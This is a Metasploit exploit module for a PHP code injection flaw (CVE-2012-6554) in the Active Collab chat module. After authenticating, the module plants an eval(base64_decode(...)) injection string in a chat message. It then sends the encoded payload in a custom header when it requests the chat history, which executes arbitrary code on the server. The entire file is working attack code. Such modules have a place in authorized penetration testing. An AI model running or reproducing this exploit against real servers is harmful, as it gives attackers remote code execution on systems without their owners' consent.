##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Active Collab "chat module" Remote PHP Code Injection Exploit',
        'Description' => %q{
          This module exploits an arbitrary code injection vulnerability in the
          chat module that is part of Active Collab versions 2.3.8 and earlier by
          abusing a preg_replace() using the /e modifier and its replacement
          string using double quotes. The vulnerable function can be found in
          activecollab/application/modules/chat/functions/html_to_text.php.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'mr_me <steventhomasseeley[at]gmail.com>', # vuln discovery & msf module
        ],
        'References' => [
          ['CVE', '2012-6554'],
          ['OSVDB', '81966'],
          ['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
        ],
        'Privileged' => false,
        'Payload' => {
          'Keys' => ['php'],
          'Space' => 4000,
          'DisableNops' => true,
        },
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2012-05-30',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "The path to the ActiveCollab installation", "/"]),
        OptString.new('USER', [true, "The username (e-mail) to authenticate with"]),
        OptString.new('PASS', [true, "The password to authenticate with"])
      ]
    )
  end

  def check
    login_path = "public/index.php?path_info=login&re_route=homepage"
    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? login_path : "/#{login_path}"

    cms = send_request_raw({ 'uri' => uri }, 25)

    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

    chat = send_request_raw({ 'uri' => uri }, 25)

    # cant detect the version here
    if (cms and cms.body =~ /powered by activeCollab/)
      # detect the chat module
      if (chat and chat.code == 200)
        return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
      end
    end
    return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end

  def exploit
    user = datastore['USER']
    pass = datastore['PASS']
    p = Rex::Text.encode_base64(payload.encoded)
    header = rand_text_alpha_upper(3)
    login_uri = normalize_uri(datastore['URI'])
    login_uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'

    # login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => login_uri,
      'vars_post' =>
        {
          'login[email]' => user,
          'login[password]' => pass,
          'submitted' => "submitted",
        }
    }, 40)

    # response handling
    if res and res.code == 302
      if res.get_cookies =~ /ac_ActiveCollab_sid_[a-zA-Z0-9]+=(.*); expires=/
        acsession = $1
      end
    elsif res and res.body =~ /Failed to log you in/
      print_error("#{Rex::Socket.to_authority(rhost, rport)} Could not login to the target application as #{user}:#{pass}")
    elsif res and res.code != 200 or res.code != 302
      print_error("#{Rex::Socket.to_authority(rhost, rport)} Server returned a failed status code: (#{res.code})")
    end

    # injection
    iuri = normalize_uri(datastore['URI'])
    iuri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'index.php' : '/index.php'
    iuri << "?path_info=chat/add_message&async=1"
    phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
    injection = "<th>\");#{phpkode}</th>"
    cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => iuri,
      'headers' =>
        {
          'cookie' => cookies
        },
      'vars_post' =>
        {
          'submitted' => "submitted",
          'message[message_text]' => injection,
          'message[chat_id]' => "1",
          'message[posted_to_user_id]' => "all"
        }
    }, 25)

    euri = normalize_uri(datastore['URI'])
    euri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
    euri << "?path_info=/chat/history/1"

    # execution
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => euri,
      'headers' =>
        {
          header => p,
          'cookie' => cookies
        }
    })
  end
end
